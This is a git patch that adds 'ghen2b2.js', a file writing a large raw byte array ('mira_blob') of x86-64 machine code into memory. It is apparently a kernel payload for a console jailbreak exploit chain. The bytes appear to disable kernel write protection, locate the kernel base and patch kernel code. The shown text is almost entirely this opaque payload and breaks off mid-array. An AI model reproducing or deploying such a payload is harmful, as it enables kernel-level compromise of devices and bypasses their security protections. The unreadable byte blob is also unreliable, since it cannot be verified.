From 133432918766ea2040336f89c77a2ec3c3546733 Mon Sep 17 00:00:00 2001 From: Your Name Date: Fri, 14 Jan 2022 08:06:49 +0800 Subject: [PATCH 1/2] fix dlsym patch, add goldhen2b2 --- ghen2b2.js | 3 + index.html | 3 +- jb.js | 31948 ++++++++++++++++++++++++------------------------- netcat.js | 8329 ++++++------- src/krop.rop | 17 +- src/netcat.c | 7 +- 6 files changed, 20087 insertions(+), 20220 deletions(-) create mode 100644 ghen2b2.js diff --git a/ghen2b2.js b/ghen2b2.js new file mode 100644 index 0000000..55623b9 --- /dev/null +++ b/ghen2b2.js @@ -0,0 +1,3 @@ +window.mira_blob_len = 229496 +window.mira_blob = malloc(window.mira_blob_len); +write_mem(window.mira_blob, [233, 136, 16, 0, 0, 243, 15, 30, 250, 85, 186, 4, 0, 0, 0, 83, 72, 137, 245, 72, 137, 251, 72, 141, 53, 139, 121, 3, 0, 81, 255, 21, 100, 129, 3, 0, 133, 192, 15, 133, 135, 0, 0, 0, 72, 139, 83, 32, 72, 133, 210, 116, 53, 72, 1, 218, 72, 137, 209, 116, 45, 68, 15, 183, 75, 56, 49, 255, 49, 210, 68, 57, 207, 125, 93, 15, 183, 115, 54, 15, 175, 247, 72, 99, 246, 76, 139, 68, 49, 24, 76, 3, 68, 49, 40, 76, 57, 194, 73, 15, 66, 208, 255, 199, 235, 220, 68, 15, 183, 75, 60, 49, 255, 49, 210, 68, 57, 207, 125, 48, 72, 139, 75, 40, 72, 133, 201, 116, 57, 72, 1, 217, 72, 137, 206, 116, 49, 15, 183, 75, 58, 15, 175, 207, 72, 99, 201, 76, 139, 68, 14, 16, 76, 3, 68, 14, 32, 76, 57, 194, 73, 15, 66, 208, 255, 199, 235, 203, 72, 133, 237, 116, 23, 72, 137, 85, 0, 235, 17, 184, 1, 0, 0, 0, 235, 10, 72, 139, 4, 37, 16, 0, 0, 0, 15, 11, 90, 91, 93, 195, 243, 15, 30, 250, 65, 85, 65, 84, 85, 83, 81, 72, 139, 71, 32, 72, 137, 251, 73, 137, 244, 72, 133, 192, 116, 125, 69, 49, 237, 72, 1, 248, 116, 117, 15, 183, 67, 56, 65, 57, 197, 15, 141, 202, 0, 0, 0, 72, 139, 107, 32, 72, 133, 237, 15, 132, 169, 0, 0, 0, 72, 137, 232, 72, 1, 216, 15, 132, 157, 0, 0, 0, 15, 183, 107, 54, 65, 15, 175, 237, 72, 99, 237, 72, 1, 197, 72, 139, 85, 32, 72, 133, 210, 116, 20, 72, 139, 117, 8, 72, 139, 125, 24, 72, 1, 222, 76, 1, 231, 255, 21, 141, 127, 3, 0, 72, 139, 85, 40, 72, 139, 125, 32, 72, 57, 250, 116, 18, 72, 41, 250, 72, 3, 125, 24, 49, 246, 76, 1, 231, 255, 21, 78, 128, 3, 0, 65, 255, 197, 235, 139, 49, 237, 15, 183, 67, 60, 57, 232, 126, 88, 72, 139, 67, 40, 72, 133, 192, 116, 69, 72, 1, 216, 72, 137, 194, 116, 61, 15, 183, 67, 58, 15, 175, 197, 72, 152, 72, 1, 208, 246, 64, 8, 2, 116, 29, 72, 139, 80, 32, 72, 133, 210, 116, 20, 72, 139, 112, 24, 72, 139, 120, 16, 72, 1, 222, 76, 1, 231, 255, 21, 31, 127, 3, 0, 255, 197, 235, 180, 72, 139, 4, 37, 32, 0, 0, 0, 235, 8, 72, 139, 4, 37, 8, 0, 0, 0, 15, 11, 90, 49, 192, 91, 93, 65, 92, 65, 93, 195, 243, 15, 30, 250, 68, 15, 183, 95, 60, 69, 49, 201, 69, 57, 203, 126, 26, 72, 139, 79, 40, 72, 133, 201, 116, 8, 72, 137, 200, 72, 1, 248, 117, 12, 139, 4, 37, 4, 0, 0, 0, 15, 11, 49, 192, 195, 83, 15, 183, 79, 58, 65, 15, 175, 201, 72, 99, 201, 72, 1, 193, 131, 121, 4, 9, 117, 58, 72, 139, 65, 32, 49, 210, 69, 49, 210, 72, 247, 113, 56, 76, 57, 208, 116, 40, 73, 107, 210, 24, 76, 139, 65, 24, 73, 1, 248, 73, 1, 208, 65, 131, 120, 8, 8, 117, 14, 73, 139, 88, 16, 73, 139, 16, 72, 1, 243, 72, 137, 28, 22, 73, 255, 194, 235, 211, 65, 255, 193, 69, 57, 203, 126, 26, 72, 139, 79, 40, 72, 133, 201, 116, 8, 72, 137, 200, 72, 1, 248, 117, 153, 139, 4, 37, 4, 0, 0, 0, 15, 11, 49, 192, 91, 195, 243, 15, 30, 250, 72, 133, 255, 15, 132, 192, 0, 0, 0, 65, 85, 65, 84, 85, 83, 72, 131, 236, 24, 72, 133, 210, 72, 137, 213, 117, 10, 184, 1, 0, 0, 0, 233, 153, 0, 0, 0, 72, 133, 246, 116, 241, 72, 133, 201, 73, 137, 205, 116, 233, 72, 137, 251, 77, 137, 196, 186, 4, 0, 0, 0, 72, 141, 53, 242, 118, 3, 0, 255, 21, 204, 126, 3, 0, 133, 192, 117, 205, 139, 67, 16, 131, 224, 253, 102, 255, 200, 117, 194, 72, 141, 116, 36, 8, 72, 137, 223, 72, 199, 68, 36, 8, 0, 0, 0, 0, 232, 36, 253, 255, 255, 65, 137, 192, 184, 2, 0, 0, 0, 69, 133, 192, 117, 66, 76, 57, 108, 36, 8, 119, 59, 72, 137, 238, 72, 137, 223, 232, 200, 253, 255, 255, 65, 137, 192, 184, 3, 0, 0, 0, 69, 133, 192, 117, 35, 72, 137, 238, 72, 137, 223, 232, 179, 254, 255, 255, 133, 192, 117, 15, 77, 133, 228, 116, 15, 72, 3, 107, 24, 73, 137, 44, 36, 235, 5, 184, 4, 0, 0, 0, 72, 131, 196, 24, 91, 93, 65, 92, 65, 93, 195, 184, 1, 0, 0, 0, 195, 243, 15, 30, 250, 72, 137, 242, 72, 137, 254, 80, 191, 200, 0, 0, 0, 49, 192, 232, 133, 13, 0, 0, 90, 195, 68, 139, 10, 184, 1, 0, 0, 0, 211, 224, 76, 139, 7, 255, 200, 41, 74, 4, 68, 33, 200, 65, 211, 249, 131, 122, 4, 0, 185, 0, 0, 0, 0, 68, 137, 10, 15, 73, 74, 4, 137, 74, 4, 73, 57, 240, 139, 74, 4, 115, 23, 131, 249, 15, 127, 18, 69, 15, 182, 8, 73, 255, 192, 65, 211, 225, 131, 193, 8, 68, 9, 10, 235, 222, 76, 137, 7, 195, 65, 187, 1, 0, 0, 0, 83, 68, 137, 216, 72, 137, 203, 68, 137, 193, 211, 224, 255, 200, 35, 2, 72, 152, 68, 139, 20, 131, 65, 246, 194, 16, 116, 32, 232, 139, 255, 255, 255, 68, 137, 209, 65, 193, 234, 16, 131, 225, 15, 65, 211, 227, 65, 255, 203, 68, 35, 26, 67, 141, 4, 19, 68, 139, 20, 131, 68, 137, 209, 131, 225, 15, 232, 101, 255, 255, 255, 91, 68, 137, 208, 193, 232, 16, 37, 255, 15, 0, 0, 195, 65, 87, 65, 86, 65, 85, 65, 84, 85, 83, 72, 129, 236, 216, 2, 0, 0, 49, 192, 73, 137, 253, 65, 137, 212, 72, 141, 124, 36, 16, 137, 202, 185, 16, 0, 0, 0, 76, 141, 116, 36, 16, 243, 171, 72, 141, 124, 36, 80, 185, 16, 0, 0, 0, 243, 171, 76, 141, 84, 36, 80, 49, 192, 65, 57, 192, 126, 13, 15, 182, 12, 6, 72, 255, 192, 255, 68, 140, 16, 235, 238, 139, 68, 36, 16, 49, 201, 137, 68, 36, 84, 184, 1, 0, 0, 0, 65, 139, 60, 134, 69, 139, 28, 130, 141, 12, 79, 65, 1, 251, 69, 137, 92, 130, 4, 72, 255, 192, 57, 194, 127, 230, 72, 99, 194, 139, 68, 132, 16, 68, 141, 20, 72, 49, 192, 65, 57, 192, 126, 31, 15, 182, 60, 6, 72, 99, 76, 188, 80, 68, 141, 89, 1, 102, 137, 132, 76, 144, 0, 0, 0, 68, 137, 92, 188, 80, 72, 255, 192, 235, 220, 184, 1, 0, 0, 0, 137, 209, 137, 198, 211, 230, 68, 57, 214, 126, 30, 68, 137, 225, 211, 224, 137, 194, 49, 192, 65, 199, 68, 133, 0, 1, 0, 0, 0, 72, 255, 192, 57, 194, 127, 240, 233, 216, 1, 0, 0, 186, 1, 0, 0, 0, 137, 211, 72, 255, 194, 65, 139, 68, 150, 252, 133, 192, 116, 242, 72, 99, 84, 36, 80, 65, 191, 1, 0, 0, 0, 137, 217, 65, 211, 231, 49, 237, 72, 1, 210, 76, 141, 132, 20, 144, 0, 0, 0, 65, 57, 220, 15, 140, 163, 0, 0, 0, 65, 141, 119, 255, 65, 15, 191, 16, 73, 131, 192, 2, 72, 99, 205, 193, 226, 16, 9, 218, 57, 238, 65, 137, 84, 141, 0, 117, 37, 65, 57, 220, 15, 142, 121, 1, 0, 0, 73, 99, 215, 76, 137, 238, 72, 193, 226, 2, 69, 1, 255, 73, 141, 124, 21, 0, 255, 195, 255, 21, 116, 123, 3, 0, 235, 219, 137, 241, 191, 0, 0, 0, 128, 49, 233, 243, 15, 189, 201, 211, 239, 141, 87, 255, 33, 213, 9, 253, 255, 200, 117, 168, 255, 195, 72, 99, 203, 65, 57, 204, 137, 203, 124, 42, 73, 99, 215, 72, 137, 76, 36, 8, 72, 193, 226, 2, 76, 137, 4, 36, 73, 141, 124, 21, 0, 76, 137, 238, 255, 21, 46, 123, 3, 0, 72, 139, 76, 36, 8, 69, 1, 255, 76, 139, 4, 36, 72, 255, 193, 65, 139, 68, 142, 252, 133, 192, 116, 195, 233, 84, 255, 255, 255, 73, 99, 212, 68, 137, 225, 77, 141, 52, 150, 186, 1, 0, 0, 0, 211, 226, 76, 137, 198, 141, 122, 255, 65, 131, 203, 255, 137, 60, 36, 69, 49, 210, 191, 1, 0, 0, 0, 68, 139, 12, 36, 65, 137, 216, 69, 41, 224, 65, 33, 233, 69, 57, 217, 116, 66, 73, 99, 200, 65, 137, 195, 65, 137, 255, 65, 137, 202, 65, 211, 231, 72, 255, 193, 69, 57, 251, 125, 10, 69, 139, 20, 142, 71, 141, 28, 90, 235, 229, 137, 209, 65, 131, 226, 15, 193, 225, 16, 77, 99, 217, 65, 9, 202, 65, 131, 202, 16, 71, 137, 84, 157, 0, 65, 137, 210, 69, 137, 203, 68, 1, 250, 68, 15, 191, 14, 68, 137, 193, 131, 225, 15, 65, 137, 255, 65, 193, 225, 16, 65, 9, 201, 68, 137, 193, 65, 211, 231, 68, 137, 225, 77, 99, 199, 65, 137, 239, 65, 211, 255, 68, 137, 249, 68, 1, 209, 72, 99, 201, 69, 137, 76, 141, 0, 76, 1, 193, 57, 202, 127, 244, 137, 217, 65, 137, 249, 65, 211, 225, 68, 137, 201, 255, 201, 57, 205, 116, 54, 49, 233, 65, 185, 0, 0, 0, 128, 243, 15, 189, 201, 255, 200, 65, 211, 233, 72, 99, 203, 69, 141, 65, 255, 68, 33, 197, 68, 9, 205, 137, 203, 72, 255, 193, 133, 192, 116, 9, 72, 131, 198, 2, 233, 48, 255, 255, 255, 139, 68, 140, 16, 235, 232, 72, 129, 196, 216, 2, 0, 0, 91, 93, 65, 92, 65, 93, 65, 94, 65, 95, 195, 65, 87, 65, 86, 65, 85, 65, 84, 85, 83, 72, 129, 236, 0, 16, 0, 0, 72, 131, 12, 36, 0, 72, 129, 236, 200, 14, 0, 0, 49, 192, 72, 137, 124, 36, 8, 185, 202, 6, 0, 0, 72, 141, 188, 36, 152, 3, 0, 0, 72, 99, 218, 243, 171, 72, 1, 243, 76, 141, 172, 36, 152, 3, 0, 0, 76, 141, 116, 36, 56, 72, 137, 116, 36, 56, 76, 137, 234, 72, 137, 222, 76, 137, 247, 232, 60, 252, 255, 255, 72, 139, 108, 36, 8, 199, 68, 36, 40, 0, 0, 0, 0, 69, 49, 201, 72, 139, 68, 36, 56, 139, 140, 36, 156, 3, 0, 0, 72, 57, 216, 15, 131, 135, 5, 0, 0, 65, 131, 249, 4, 119, 241, 72, 141, 53, 96, 114, 3, 0, 68, 137, 200, 72, 99, 4, 134, 72, 1, 240, 62, 255, 224, 185, 1, 0, 0, 0, 76, 137, 234, 72, 137, 222, 76, 137, 247, 232, 234, 251, 255, 255, 185, 2, 0, 0, 0, 137, 68, 36, 40, 232, 220, 251, 255, 255, 131, 248, 1, 15, 132, 45, 5, 0, 0, 131, 248, 2, 15, 132, 47, 5, 0, 0, 133, 192, 15, 133, 58, 5, 0, 0, 65, 185, 1, 0, 0, 0, 235, 142, 72, 137, 222, 131, 225, 7, 76, 137, 234, 76, 137, 247, 232, 169, 251, 255, 255, 185, 16, 0, 0, 0, 232, 159, 251, 255, 255, 185, 16, 0, 0, 0, 76, 99, 224, 232, 146, 251, 255, 255, 72, 139, 68, 36, 56, 199, 132, 36, 156, 3, 0, 0, 0, 0, 0, 0, 72, 141, 112, 254, 72, 137, 216, 72, 41, 240, 72, 137, 116, 36, 56, 73, 57, 196, 15, 143, 226, 4, 0, 0, 69, 133, 228, 15, 132, 217, 4, 0, 0, 72, 137, 239, 76, 137, 226, 76, 1, 229, 255, 21, 192, 120, 3, 0, 76, 1, 100, 36, 56, 233, 25, 255, 255, 255, 49, 192, 72, 141, 180, 36, 152, 1, 0, 0, 198, 4, 48, 8, 72, 255, 192, 72, 61, 144, 0, 0, 0, 117, 241, 198, 4, 6, 9, 72, 255, 192, 72, 61, 0, 1, 0, 0, 117, 241, 198, 4, 6, 7, 72, 255, 192, 72, 61, 24, 1, 0, 0, 117, 241, 72, 184, 8, 8, 8, 8, 8, 8, 8, 8, 76, 141, 164, 36, 184, 2, 0, 0, 72, 137, 132, 36, 176, 2, 0, 0, 49, 192, 65, 198, 4, 4, 5, 72, 255, 192, 72, 131, 248, 32, 117, 242, 72, 141, 188, 36, 160, 3, 0, 0, 65, 184, 32, 1, 0, 0, 185, 15, 0, 0, 0, 186, 10, 0, 0, 0, 232, 114, 251, 255, 255, 72, 141, 188, 36, 120, 24, 0, 0, 65, 184, 32, 0, 0, 0, 185, 15, 0, 0, 0, 186, 8, 0, 0, 0, 76, 137, 230, 233, 174, 1, 0, 0, 49, 192, 72, 141, 124, 36, 77, 185, 11, 0, 0, 0, 76, 137, 234, 243, 170, 72, 137, 222, 76, 137, 247, 185, 5, 0, 0, 0, 72, 199, 68, 36, 69, 0, 0, 0, 0, 232, 128, 250, 255, 255, 185, 5, 0, 0, 0, 76, 141, 37, 26, 118, 3, 0, 68, 141, 184, 1, 1, 0, 0, 232, 104, 250, 255, 255, 185, 4, 0, 0, 0, 255, 192, 137, 68, 36, 20, 232, 88, 250, 255, 255, 69, 49, 210, 68, 141, 88, 4, 69, 57, 211, 126, 39, 72, 141, 124, 36, 56, 185, 3, 0, 0, 0, 76, 137, 234, 72, 137, 222, 232, 55, 250, 255, 255, 65, 137, 192, 67, 15, 182, 4, 20, 73, 255, 194, 68, 136, 68, 4, 69, 235, 212, 72, 141, 116, 36, 69, 72, 141, 188, 36, 152, 1, 0, 0, 65, 184, 19, 0, 0, 0, 185, 7, 0, 0, 0, 186, 7, 0, 0, 0, 69, 49, 228, 232, 168, 250, 255, 255, 139, 68, 36, 20, 68, 1, 248, 137, 68, 36, 24, 68, 57, 100, 36, 24, 15, 142, 174, 0, 0, 0, 72, 141, 140, 36, 152, 1, 0, 0, 72, 141, 148, 36, 152, 3, 0, 0, 72, 141, 124, 36, 56, 65, 184, 7, 0, 0, 0, 72, 137, 222, 232, 21, 250, 255, 255, 77, 99, 212, 131, 248, 17, 116, 59, 131, 248, 18, 116, 86, 131, 248, 16, 116, 10, 66, 136, 68, 20, 88, 65, 255, 196, 235, 182, 185, 2, 0, 0, 0, 232, 161, 249, 255, 255, 131, 192, 3, 74, 141, 84, 20, 88, 137, 193, 133, 201, 116, 79, 64, 138, 114, 255, 255, 201, 72, 255, 194, 64, 136, 114, 255, 235, 237, 185, 3, 0, 0, 0, 232, 122, 249, 255, 255, 131, 192, 3, 137, 194, 133, 210, 116, 45, 66, 198, 68, 20, 88, 0, 255, 202, 73, 255, 194, 235, 239, 185, 7, 0, 0, 0, 232, 90, 249, 255, 255, 131, 192, 11, 137, 194, 133, 210, 116, 13, 66, 198, 68, 20, 88, 0, 255, 202, 73, 255, 194, 235, 239, 65, 1, 196, 233, 71, 255, 255, 255, 76, 141, 100, 36, 88, 72, 141, 188, 36, 160, 3, 0, 0, 69, 137, 248, 185, 15, 0, 0, 0, 186, 10, 0, 0, 0, 76, 137, 230, 232, 194, 249, 255, 255, 68, 139, 68, 36, 20, 73, 99, 199, 73, 141, 52, 4, 72, 141, 188, 36, 120, 24, 0, 0, 185, 15, 0, 0, 0, 186, 8, 0, 0, 0, 232, 159, 249, 255, 255, 65, 185, 4, 0, 0, 0, 233, 192, 252, 255, 255, 72, 141, 148, 36, 152, 3, 0, 0, 72, 141, 140, 36, 160, 3, 0, 0, 72, 141, 124, 36, 56, 65, 184, 10, 0, 0, 0, 72, 137, 222, 68, 137, 76, 36, 20, 232, 18, 249, 255, 255, 68, 139, 76, 36, 20, 61, 0, 1, 0, 0, 15, 142, 244, 1, 0, 0, 45, 1, 1, 0, 0, 68, 137, 76, 36, 24, 76, 99, 208, 72, 141, 5, 38, 116, 3, 0, 66, 15, 182, 12, 16, 232, 150, 248, 255, 255, 72, 141, 13, 213, 115, 3, 0, 65, 184, 8, 0, 0, 0, 70, 15, 191, 36, 81, 72, 141, 140, 36, 120, 24, 0, 0, 65, 1, 196, 232, 194, 248, 255, 255, 76, 99, 208, 72, 141, 5, 144, 115, 3, 0, 66, 15, 182, 12, 16, 232, 96, 248, 255, 255, 72, 141, 21, 63, 115, 3, 0, 66, 15, 191, 20, 82, 1, 208, 72, 137, 234, 137, 68, 36, 20, 72, 43, 84, 36, 8, 59, 84, 36, 20, 137, 208, 15, 140, 184, 1, 0, 0, 131, 124, 36, 20, 1, 68, 139, 76, 36, 24, 15, 133, 140, 0, 0, 0, 15, 182, 85, 255, 69, 137, 231, 65, 193, 255, 2, 72, 137, 239, 72, 141, 180, 36, 152, 1, 0, 0, 137, 208, 137, 209, 193, 225, 16, 193, 224, 24, 9, 200, 49, 201, 9, 208, 193, 226, 8, 9, 208, 72, 152, 72, 137, 132, 36, 152, 1, 0, 0, 65, 57, 207, 126, 57, 137, 76, 36, 48, 186, 4, 0, 0, 0, 68, 137, 76, 36, 44, 72, 137, 116, 36, 32, 72, 137, 124, 36, 24, 255, 21, 64, 117, 3, 0, 72, 139, 124, 36, 24, 139, 76, 36, 48, 68, 139, 76, 36, 44, 72, 139, 116, 36, 32, 72, 131, 199, 4, 255, 193, 235, 194, 69, 133, 255, 184, 0, 0, 0, 0, 68, 15, 72, 248, 77, 99, 255, 74, 141, 108, 189, 0, 233, 162, 0, 0, 0, 131, 124, 36, 20, 3, 15, 142, 155, 0, 0, 0, 72, 99, 68, 36, 20, 68, 137, 225, 193, 249, 2, 73, 137, 239, 69, 49, 192, 72, 137, 68, 36, 24, 65, 57, 200, 125, 106, 76, 141, 148, 36, 152, 1, 0, 0, 76, 137, 254, 72, 199, 132, 36, 152, 1, 0, 0, 0, 0, 0, 0, 72, 43, 116, 36, 24, 137, 76, 36, 52, 68, 137, 68, 36, 48, 76, 137, 215, 68, 137, 76, 36, 44, 186, 4, 0, 0, 0, 76, 137, 84, 36, 32, 255, 21, 169, 116, 3, 0, 76, 139, 84, 36, 32, 76, 137, 255, 186, 4, 0, 0, 0, 73, 131, 199, 4, 76, 137, 214, 255, 21, 143, 116, 3, 0, 68, 139, 68, 36, 48, 139, 76, 36, 52, 68, 139, 76, 36, 44, 65, 255, 192, 235, 145, 133, 201, 184, 0, 0, 0, 0, 15, 72, 200, 72, 99, 201, 72, 141, 108, 141, 0, 65, 131, 228, 3, 72, 99, 68, 36, 20, 72, 137, 238, 49, 210, 72, 41, 198, 72, 137, 240, 65, 57, 212, 126, 12, 138, 12, 16, 136, 76, 21, 0, 72, 255, 194, 235, 239, 69, 133, 228, 184, 0, 0, 0, 0, 68, 15, 72, 224, 77, 99, 228, 76, 1, 229, 233, 148, 250, 255, 255, 117, 13, 131, 124, 36, 40, 0, 15, 132, 132, 250, 255, 255, 235, 41, 136, 69, 0, 72, 255, 197, 233, 122, 250, 255, 255, 65, 185, 2, 0, 0, 0, 233, 111, 250, 255, 255, 65, 185, 3, 0, 0, 0, 233, 100, 250, 255, 255, 133, 201, 15, 133, 113, 250, 255, 255, 137, 232, 43, 68, 36, 8, 72, 129, 196, 200, 30, 0, 0, 91, 93, 65, 92, 65, 93, 65, 94, 65, 95, 195, 243, 15, 30, 250, 131, 250, 5, 15, 142, 54, 1, 0, 0, 72, 99, 194, 65, 87, 65, 86, 65, 85, 65, 84, 85, 72, 141, 108, 6, 252, 83, 72, 131, 198, 2, 81, 72, 137, 251, 69, 49, 246, 232, 172, 249, 255, 255, 190, 176, 21, 0, 0, 65, 191, 1, 0, 0, 0, 153, 65, 137, 192, 247, 254, 69, 137, 194, 65, 187, 7, 0, 0, 0, 69, 49, 228, 65, 185, 241, 255, 0, 0, 137, 214, 69, 133, 210, 15, 132, 192, 0, 0, 0, 69, 137, 221, 72, 137, 223, 65, 41, 221, 65, 141, 68, 61, 0, 57, 198, 118, 88, 15, 182, 7, 72, 131, 199, 8, 68, 1, 248, 68, 15, 182, 127, 249, 65, 1, 199, 66, 141, 12, 56, 15, 182, 71, 250, 68, 1, 241, 68, 1, 248, 68, 15, 182, 127, 251, 1, 193, 65, 1, 199, 15, 182, 71, 252, 68, 1, 249, 68, 1, 248, 68, 15, 182, 127, 253, 1, 193, 65, 1, 199, 15, 182, 71, 254, 68, 1, 249, 68, 1, 248, 68, 15, 182, 127, 255, 1, 193, 65, 1, 199, 70, 141, 52, 57, 235, 159, 137, 240, 137, 242, 193, 232, 3, 131, 226, 248, 72, 141, 28, 195, 49, 192, 141, 12, 2, 57, 206, 118, 15, 15, 182, 12, 3, 72, 255, 192, 65, 1, 207, 69, 1, 254, 235, 234, 137, 247, 68, 137, 248, 41, 215, 57, 242, 73, 15, 71, 252, 49, 210, 65, 247, 241, 68, 137, 240, 65, 41, 242, 72, 1, 251, 190, 176, 21, 0, 0, 65, 137, 215, 49, 210, 65, 247, 241, 65, 137, 214, 233, 55, 255, 255, 255, 15, 56, 240, 85, 0, 68, 137, 241, 193, 225, 16, 66, 141, 4, 57, 57, 194, 116, 4, 65, 131, 200, 255, 90, 68, 137, 192, 91, 93, 65, 92, 65, 93, 65, 94, 65, 95, 195, 65, 131, 200, 255, 68, 137, 192, 195, 243, 15, 30, 250, 72, 141, 61, 112, 109, 3, 0, 80, 49, 192, 255, 21, 63, 114, 3, 0, 72, 141, 61, 116, 107, 3, 0, 49, 192, 255, 21, 48, 114, 3, 0, 72, 141, 61, 175, 107, 3, 0, 49, 192, 255, 21, 33, 114, 3, 0, 72, 141, 61, 228, 107, 3, 0, 49, 192, 255, 21, 18, 114, 3, 0, 72, 141, 61, 26, 108, 3, 0, 49, 192, 255, 21, 3, 114, 3, 0, 72, 141, 61, 81, 108, 3, 0, 49, 192, 255, 21, 244, 113, 3, 0, 72, 141, 61, 137, 108, 3, 0, 49, 192, 255, 21, 229, 113, 3, 0, 72, 141, 61, 193, 108, 3, 0, 49, 192, 255, 21, 214, 113, 3, 0, 72, 141, 61, 249, 108, 3, 0, 49, 192, 255, 21, 199, 113, 3, 0, 72, 141, 61, 18, 109, 3, 0, 49, 192, 255, 21, 184, 113, 3, 0, 72, 141, 61, 64, 109, 3, 0, 49, 192, 255, 21, 169, 113, 3, 0, 72, 141, 61, 111, 109, 3, 0, 49, 192, 255, 21, 154, 113, 3, 0, 72, 141, 61, 159, 109, 3, 0, 49, 192, 255, 21, 139, 113, 3, 0, 72, 141, 61, 208, 109, 3, 0, 49, 192, 255, 21, 124, 113, 3, 0, 72, 141, 61, 1, 110, 3, 0, 49, 192, 255, 21, 109, 113, 3, 0, 90, 72, 141, 61, 37, 110, 3, 0, 49, 192, 255, 37, 93, 113, 3, 0, 243, 15, 30, 250, 80, 15, 32, 192, 72, 37, 255, 255, 254, 255, 15, 34, 192, 49, 192, 232, 163, 1, 0, 0, 198, 128, 189, 21, 60, 0, 235, 72, 139, 21, 23, 114, 3, 0, 102, 199, 128, 103, 51, 18, 0, 235, 56, 198, 2, 0, 198, 128, 245, 7, 37, 0, 7, 198, 128, 3, 8, 37, 0, 7, 15, 32, 192, 72, 13, 0, 0, 1, 0, 15, 34, 192, 90, 195, 243, 15, 30, 250, 72, 139, 5, 140, 113, 3, 0, 72, 141, 183, 255, 63, 0, 0, 72, 129, 230, 0, 192, 255, 255, 72, 139, 56, 255, 37, 229, 112, 3, 0, 243, 15, 30, 250, 139, 61, 255, 105, 3, 0, 1, 255, 15, 132, 163, 0, 0, 0, 85, 83, 72, 131, 236, 24, 232, 173, 4, 0, 0, 72, 137, 197, 49, 192, 72, 133, 237, 15, 132, 131, 0, 0, 0, 139, 21, 216, 105, 3, 0, 49, 201, 72, 141, 53, 171, 4, 0, 0, 72, 137, 239, 232, 13, 253, 255, 255, 72, 137, 239, 72, 137, 230, 137, 195, 232, 27, 240, 255, 255, 72, 141, 61, 162, 109, 3, 0, 133, 192, 117, 55, 72, 139, 60, 36, 232, 123, 255, 255, 255, 72, 141, 61, 174, 109, 3, 0, 72, 133, 192, 72, 137, 194, 116, 31, 72, 139, 12, 36, 72, 99, 243, 76, 141, 68, 36, 8, 72, 137, 239, 232, 77, 242, 255, 255, 133, 192, 116, 22, 72, 141, 61, 189, 109, 3, 0, 49, 192, 255, 21, 84, 112, 3, 0, 184, 1, 0, 0, 0, 235, 14, 49, 192, 255, 84, 36, 8, 133, 192, 15, 149, 192, 15, 182, 192, 72, 131, 196, 24, 91, 93, 195, 49, 192, 195, 243, 15, 30, 250, 80, 49, 192, 232, 165, 0, 0, 0, 49, 192, 232, 197, 254, 255, 255, 49, 192, 232, 200, 253, 255, 255, 72, 141, 61, 156, 109, 3, 0, 49, 192, 255, 21, 12, 112, 3, 0, 49, 192, 232, 24, 255, 255, 255, 90, 133, 192, 15, 149, 192, 15, 182, 192, 195, 243, 15, 30, 250, 49, 246, 191, 6, 0, 0, 0, 81, 232, 163, 242, 255, 255, 255, 200, 117, 38, 72, 141, 53, 106, 110, 3, 0, 191, 4, 0, 0, 0, 232, 142, 242, 255, 255, 72, 141, 53, 89, 110, 3, 0, 191, 2, 0, 0, 0, 232, 125, 242, 255, 255, 49, 192, 235, 19, 72, 141, 53, 132, 255, 255, 255, 191, 11, 0, 0, 0, 49, 192, 232, 2, 0, 0, 0, 90, 195, 72, 49, 192, 73, 137, 202, 15, 5, 195, 243, 15, 30, 250, 185, 130, 0, 0, 192, 15, 50, 137, 209, 137, 192, 72, 193, 225, 32, 72, 9, 193, 72, 141, 129, 64, 254, 255, 255, 195, 243, 15, 30, 250, 49, 192, 232, 215, 255, 255, 255, 72, 141, 144, 192, 1, 0, 0, 72, 137, 21, 19, 112, 3, 0, 72, 141, 144, 128, 50, 18, 0, 72, 137, 21, 93, 111, 3, 0, 72, 141, 144, 160, 215, 0, 0, 72, 137, 21, 159, 111, 3, 0, 72, 141, 144, 160, 217, 0, 0, 72, 137, 21, 9, 113, 3, 0, 72, 141, 144, 176, 21, 60, 0, 72, 137, 21, 115, 111, 3, 0, 72, 141, 144, 208, 135, 22, 0, 72, 137, 21, 69, 112, 3, 0, 72, 141, 144, 64, 126, 32, 0, 72, 137, 21, 23, 112, 3, 0, 72, 141, 144, 48, 7, 37, 0, 72, 137, 21, 1, 111, 3, 0, 72, 141, 144, 224, 51, 36, 0, 72, 137, 21, 147, 112, 3, 0, 72, 141, 144, 128, 160, 34, 0, 72, 137, 21, 221, 110, 3, 0, 72, 141, 144, 176, 111, 74, 0, 72, 137, 21, 7, 112, 3, 0, 72, 141, 144, 192, 38, 4, 0, 72, 137, 21, 97, 111, 3, 0, 72, 141, 144, 128, 40, 4, 0, 72, 137, 21, 179, 111, 3, 0, 72, 141, 144, 80, 109, 32, 0, 72, 137, 21, 93, 112, 3, 0, 72, 141, 144, 64, 205, 68, 0, 72, 137, 21, 15, 112, 3, 0, 72, 141, 144, 48, 211, 68, 0, 72, 137, 21, 41, 112, 3, 0, 72, 141, 144, 144, 205, 68, 0, 72, 137, 21, 155, 110, 3, 0, 72, 141, 144, 160, 248, 68, 0, 72, 137, 21, 237, 111, 3, 0, 72, 141, 144, 240, 27, 69, 0, 72, 137, 21, 199, 110, 3, 0, 72, 141, 144, 96, 254, 68, 0, 72, 137, 21, 185, 111, 3, 0, 72, 141, 144, 240, 222, 68, 0, 72, 137, 21, 235, 110, 3, 0, 72, 141, 144, 240, 203, 68, 0, 72, 137, 21, 189, 111, 3, 0, 72, 141, 144, 96, 204, 68, 0, 72, 137, 21, 63, 110, 3, 0, 72, 141, 144, 16, 238, 16, 0, 72, 137, 21, 241, 110, 3, 0, 72, 141, 144, 224, 182, 54, 0, 72, 137, 21, 75, 111, 3, 0, 72, 141, 144, 208, 183, 54, 0, 72, 137, 21, 197, 111, 3, 0, 72, 141, 144, 128, 46, 64, 0, 72, 137, 21, 15, 111, 3, 0, 72, 141, 144, 240, 23, 72, 0, 72, 137, 21, 193, 110, 3, 0, 72, 141, 144, 192, 52, 18, 0, 72, 137, 21, 27, 111, 3, 0, 72, 141, 144, 16, 84, 3, 0, 72, 137, 21, 173, 110, 3, 0, 72, 141, 144, 112, 91, 51, 0, 72, 137, 21, 175, 110, 3, 0, 72, 141, 144, 32, 21, 100, 0, 72, 137, 21, 225, 109, 3, 0, 72, 141, 144, 80, 96, 29, 0, 72, 137, 21, 203, 109, 3, 0, 72, 141, 144, 32, 3, 60, 0, 72, 137, 21, 149, 110, 3, 0, 72, 141, 144, 80, 5, 60, 0, 72, 137, 21, 207, 110, 3, 0, 72, 141, 144, 0, 152, 100, 0, 72, 137, 21, 1, 110, 3, 0, 72, 141, 144, 128, 